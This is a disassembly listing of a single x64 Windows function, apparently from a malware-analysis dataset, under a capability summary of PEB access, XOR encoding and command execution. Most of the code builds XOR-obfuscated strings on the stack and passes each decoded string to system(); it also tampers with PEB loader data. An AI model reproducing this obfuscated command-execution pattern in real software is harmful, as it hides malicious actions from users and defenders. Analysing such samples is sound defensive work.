Function at 0x140002d00
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Get ntdll base address
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x490
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x440], rax
xor r12d, r12d
movabs rsi, 0x85ae3c9c1ac75727
movabs rdi, 0x67ebcf031d683cd2
movabs r14, 0x17929701ff4b5508
movabs r15, 0xcc51ff60c15b511
movabs r13, 0xa5c952f56eae3670
movabs r8, 0x17929701ff4b1d39
movabs rbx, 0x9c16c956d755a0c
movabs rdx, 0xbe9f678750f50c3c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
call fcn.14000e060
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
call fcn.140002be0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xf1da54bc76b52244
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x79f6f42ed0712678
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x68b770957f7cd13f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x4886a06033184cb3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0xeb3cf2e3d2cb1f6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x3ff35da442062e62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xfc05819e9e761504
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x65b97e0e080c59f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0x9d590a024ddc337e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0x2f7e97ab43b4f6c3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0xa74dda7cc3ad5569
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0x455be9e7281f497
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0x7febdc1c8726d2e5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x3973eab7b48cd959
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x191f4fb1c6c03233
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x66dfbddb6ec88a4d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x6b906aad75677456
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0x3a16311c4b0b4e6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0xa92bddd0b3d568c4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0xf0b1129e15430286
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs rax, 0x57f534b0b7076077
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rcx, 0xe8417ac53b6c039c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
movabs rax, 0x8e519a80b3bf6b0b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0xc435b4aaa7402c35
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rax, 0x4a884c373e346cc6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0xaa6d383474ef024f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0x1c48a199738cc3f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0xc22abb0eec9e6559
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rax, 0x6d3393fb00ee97ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
movabs rax, 0x5f87b078a94bb793
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0x5024b68df7acb674
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0x7c6c13c2b1af565d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0x283c4af07baff2e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0x37f519cc17060037
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x487952312e6c2f18
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0x8746b8a6dab345a1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0x99c23fb3352f6ee2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
movabs rax, 0x57f534b0c369051b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x340]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqa xmm0, xmmword [rbp + 0x140]
vxorps xmm0, xmm0, xmmword [rbp + 0x3e0]
vmovdqa xmmword [rbp + 0x140], xmm0
lea rcx, [rbp + 0xa0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0xf1da54bc76b52244
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0x79f6f42ed0712678
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rax, 0x68b770957f7cd13f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0x4886a06033184cb3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs rax, 0xeb3cf2e3d2cb1f6a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0x3ff35da442062e62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0xfc05819e9e761504
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
movabs rax, 0x65b97e0e080c59f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
movabs rax, 0x9a580a024ddc337e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x2e7097a947bdf2c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0xec40d567c3aa5760
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
movabs rax, 0x2e13fcd6208befdf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
movabs rax, 0x28e8d416c01ceba9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x3956c3ee92dfea07
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x1e0d67a3d5f32f29
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x2ce9aac65bdf8c4f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x5e8634e137637852
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x487952315a024a74
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
movabs rax, 0x8e519a80b3bf6b0b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
movabs rax, 0xc435b4aaa7402c35
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
movabs rax, 0x4a884c373e346cc6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
movabs rax, 0xaa6d383474ef024f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
movabs rax, 0x1c48a199738cc3f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
movabs rax, 0xc22abb0eec9e6559
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
movabs rax, 0x6d3393fb00ee97ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
movabs rax, 0x5f87b078a94bb793
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
movabs rax, 0x5024b68df7acb674
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
movabs rax, 0x7c6c13c2b1af565d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
movabs rax, 0x283c4af07baff2e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
movabs rax, 0x37f519cc17060037
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rax, 0x487952312e6c2f18
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2e0]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x300]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1e0]
vxorps xmm0, xmm0, xmmword [rbp + 0x320]
vmovdqa xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x160]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0xecf960a659e73344
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x72e1cb7288243166
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0x689966826567c072
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0x678ebc627f0948b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x410], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x400]
vmovdqa ymmword [rbp + 0x40], ymm1
lea rcx, [rbp + 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 8], 0xa4b6d6f8
mov dword [rbp + 0xc], 0xbda1ed8f
mov word [rbp + 0x10], 0xa3
mov byte [rbp + 0x12], 1
mov rax, r12
nop
lea ecx, [rax - 0x42]
xor byte [rbp + rax + 8], cl
inc rax
cmp rax, 9
jb 0x140003780
mov byte [rbp + 0x12], 0
lea r8, [rbp + 0x11]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x60]
call fcn.14000e270
nop
lea rcx, [rbp + 0x60]
call fcn.140001d20
mov rbx, rax
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x1400037ed
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400038c9
call fcn.14000e854
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
test rbx, rbx
jne 0x1400038d0
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x5af7e168b96b3367
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xcc51ff60c3b9b3f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
vmovdqu ymm0, ymmword [rbp + 0x420]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
lea rcx, [rbp + 0x80]
vzeroupper
call fcn.140001600
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002d6e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movabs rax, 0xa5c952f57ea6386b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x39bcb9759e2e3d4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x200], ymm1
lea rcx, [rbp + 0x200]
vzeroupper
call fcn.140001600
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xe1cb48ff7fad396e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x17929701ff4b5529
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call fcn.140001850
movabs rax, 0xeaca52f54d9b6d64
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x65e7f4648c17267f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0x6db17e92506cc178
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0xd85a65f781b5db0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
movabs rax, 0x8e519a80d6c70e25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rbx, 0x9c16c956d755a0c
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs r12, 0x8e519a80b3bf6b0b
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x200], ymm1
vmovdqa xmm2, xmmword [rbp + 0x220]
vxorps xmm2, xmm2, xmmword [rbp + 0x260]
vmovdqa xmmword [rbp + 0x220], xmm2
lea rcx, [rbp + 0x200]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xd2f206df3aab3243
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x64cee476902f3b61
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0x50bc6b9f7e60d674
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0x298ae617c1c5db6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0xeb29ffaed9d10257
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0x37f34cf9181b642c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0xc435b4aaa7401d13
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rcx, 0x4a884c373e346cc6
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0xc435b4aaa7402c35
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x240]
vmovdqa ymmword [rbp + 0x240], ymm1
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x260], ymm1
lea rcx, [rbp + 0x240]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3